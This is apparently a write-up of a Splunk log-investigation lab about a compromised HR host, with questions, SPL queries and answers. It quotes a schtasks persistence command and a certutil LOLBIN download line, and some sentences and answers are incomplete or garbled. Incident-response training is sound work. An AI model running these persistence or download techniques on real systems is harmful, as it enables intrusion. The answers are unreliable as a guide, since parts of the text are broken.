One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering/scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.

All the required logs are ingested in the index win_eventlogs.

The network is divided into three logical segments.

IT Department:

  • James

  • Moin

  • Katrina

HR department:

  • Haroon

  • Chris

  • Diana

Marketing department:

  • Bell

  • Amelia

  • Deepak


How many logs are ingested from the month of March?

Answer: 13959

Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

| dedup UserName 
| table UserName

Answer: Amel1a

Which user from the HR department was observed to be running scheduled tasks?

index=win_eventlogs schtasks CommandLine="/create /tn OfficUpdater /tr \"C:\\Users\\Chris.fort\\AppData\\Local\\Temp\\update.exe\" /sc onstart"

Answer: Chris.fort

Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.

certutil.exe -urlcache -f - benign.exe

To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

benign.exe was downloaded after a connection was established to The -f and -urlcache forces a fetch of the url.

Answer: certutil.exe

What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

index=win_eventlogs UserName="Daina" OR UserName="Chris.fort" OR UserName="Haroon" CommandLine=" certutil.exe -urlcache -f - benign.exe" | dedup ProcessName

Answer: 2022-03-04

Which third-party site was accessed to download the malicious payload?


What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

Answer: benign.exe

The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?


What is the URL that the infected host connected to?